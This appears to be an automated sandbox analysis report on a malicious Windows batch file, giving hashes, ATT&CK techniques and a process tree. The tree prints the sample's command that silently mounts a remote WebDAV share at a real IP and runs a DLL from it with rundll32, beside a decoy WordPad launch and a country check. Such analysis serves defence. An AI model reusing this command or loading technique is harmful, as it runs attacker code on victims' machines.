4825e70e1a4256d040311f428444a3d273d503d490235b50de1d877d36617209

Analysis

max time kernel
106s
max time network
94s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15/07/2024, 16:53

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General

Target

4825e70e1a4256d040311f428444a3d273d503d490235b50de1d877d36617209.bat
Size

2KB
MD5

cc7d0f1f18a4087b9a5e44c661f6aa08
SHA1

e8e96f04ab4e126ecc73107b6f0eeb5b1de2d0c8
SHA256

4825e70e1a4256d040311f428444a3d273d503d490235b50de1d877d36617209
SHA512

d5b4ff981591b21a3309dee595821a8d3a774131aeaa61babf713621fc632aff1d5bffc5bf58af4a8fbbb5bf35e60ddb4f0c578c9c0a40a1bcf57a1e9842bebd

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1124	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1124	powershell.exe
1124	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1124	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3776	wordpad.exe
3776	wordpad.exe
3776	wordpad.exe
3776	wordpad.exe
3776	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3744 wrote to memory of 3776	3744	cmd.exe	84
PID 3744 wrote to memory of 3776	3744	cmd.exe	84
PID 3744 wrote to memory of 1124	3744	cmd.exe	86
PID 3744 wrote to memory of 1124	3744	cmd.exe	86
PID 1124 wrote to memory of 1184	1124	powershell.exe	88
PID 1124 wrote to memory of 1184	1124	powershell.exe	88
PID 1124 wrote to memory of 628	1124	powershell.exe	89
PID 1124 wrote to memory of 628	1124	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\4825e70e1a4256d040311f428444a3d273d503d490235b50de1d877d36617209.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3744
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1231.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1124
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:1184
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1231.dll,entry
    3⤵
    PID:628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:4964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ou4f2s23.rt4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1124-9-0x0000021C0AB50000-0x0000021C0AB72000-memory.dmp

Filesize
136KB

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